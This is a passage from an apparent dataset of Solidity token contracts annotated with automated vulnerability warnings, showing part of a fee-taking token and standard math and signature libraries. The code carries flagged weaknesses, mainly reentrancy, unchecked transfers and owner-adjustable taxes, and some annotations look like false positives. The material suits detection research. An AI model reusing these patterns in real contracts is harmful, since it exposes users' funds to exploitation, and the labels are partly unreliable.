_buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: f87c53f\n\t\t\t\t// reentrancy-eth | ID: afcd05b\n\t\t\t\t// reentrancy-eth | ID: bd790ad\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f87c53f\n\t\t\t\t\t// reentrancy-eth | ID: afcd05b\n\t\t\t\t\t// reentrancy-eth | ID: bd790ad\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: afcd05b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: afcd05b\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: f87c53f\n\t\t\t\t// reentrancy-eth | ID: bd790ad\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f87c53f\n\t\t\t\t\t// reentrancy-eth | ID: bd790ad\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bd790ad\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f87c53f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bd790ad\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bd790ad\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f87c53f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 095954d\n\t\t// reentrancy-events | ID: f87c53f\n\t\t// reentrancy-benign | ID: f40ddec\n\t\t// reentrancy-eth | ID: afcd05b\n\t\t// reentrancy-eth | ID: bd790ad\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ae1e926): Missing events for critical arithmetic parameters.\n\t// Recommendation for ae1e926: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: ae1e926\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: ae1e926\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: ae1e926\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: ae1e926\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: ae1e926\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9c290c9): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 9c290c9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 9c290c9\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 095954d\n\t\t// reentrancy-events | ID: f87c53f\n\t\t// reentrancy-eth | ID: afcd05b\n\t\t// reentrancy-eth | ID: bd790ad\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 85b9fa5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 85b9fa5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 47eaccc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 47eaccc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 15cb035): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 15cb035: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0fe3de0): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0fe3de0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1eed5ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1eed5ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 85b9fa5\n\t\t// reentrancy-benign | ID: 47eaccc\n\t\t// reentrancy-eth | ID: 1eed5ac\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 47eaccc\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 47eaccc\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 85b9fa5\n\t\t// unused-return | ID: 0fe3de0\n\t\t// reentrancy-eth | ID: 1eed5ac\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 85b9fa5\n\t\t// unused-return | ID: 15cb035\n\t\t// reentrancy-eth | ID: 1eed5ac\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 85b9fa5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1eed5ac\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 85b9fa5\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10544.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\nlibrary Math {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 892b7cd): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 892b7cd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a597658): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for a597658: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9d9ce67): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 9d9ce67: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6751edc): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 6751edc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 85c34cc): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 85c34cc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 54e0329): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 54e0329: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: caa42cf): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for caa42cf: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e39e224): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for e39e224: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: a7ffff3): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for a7ffff3: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 892b7cd\n\t\t\t\t// divide-before-multiply | ID: a597658\n\t\t\t\t// divide-before-multiply | ID: 9d9ce67\n\t\t\t\t// divide-before-multiply | ID: 6751edc\n\t\t\t\t// divide-before-multiply | ID: 85c34cc\n\t\t\t\t// divide-before-multiply | ID: caa42cf\n\t\t\t\t// divide-before-multiply | ID: e39e224\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 54e0329\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 892b7cd\n\t\t\t// incorrect-exp | ID: a7ffff3\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 85c34cc\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 9d9ce67\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: a597658\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: e39e224\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 6751edc\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: caa42cf\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 54e0329\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n\n _throwError(error);\n\n return recovered;\n }\n\n function toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32 message) {\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\")\n\n mstore(0x1c, hash)\n\n message := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory s\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n\",\n Strings.toString(s.length),\n s\n )\n );\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 data) {\n assembly {\n let ptr := mload(0x40)\n\n mstore(ptr, \"\\x19\\x01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n data := keccak256(ptr, 0x42)\n }\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x00\", validator, data));\n }\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\ntype ShortString is bytes32;\n\nlibrary ShortStrings {\n bytes32 private constant _FALLBACK_SENTINEL =\n 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n\n error InvalidShortString();\n\n function toShortString(\n string memory str\n ) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n\n string memory str = new string(32);\n\n assembly {\n mstore(str, len)\n\n mstore(add(str, 0x20), sstr)\n }\n\n return str;\n }\n\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n\n if (result > 31) {\n revert InvalidShortString();\n }\n\n return result;\n }\n\n function 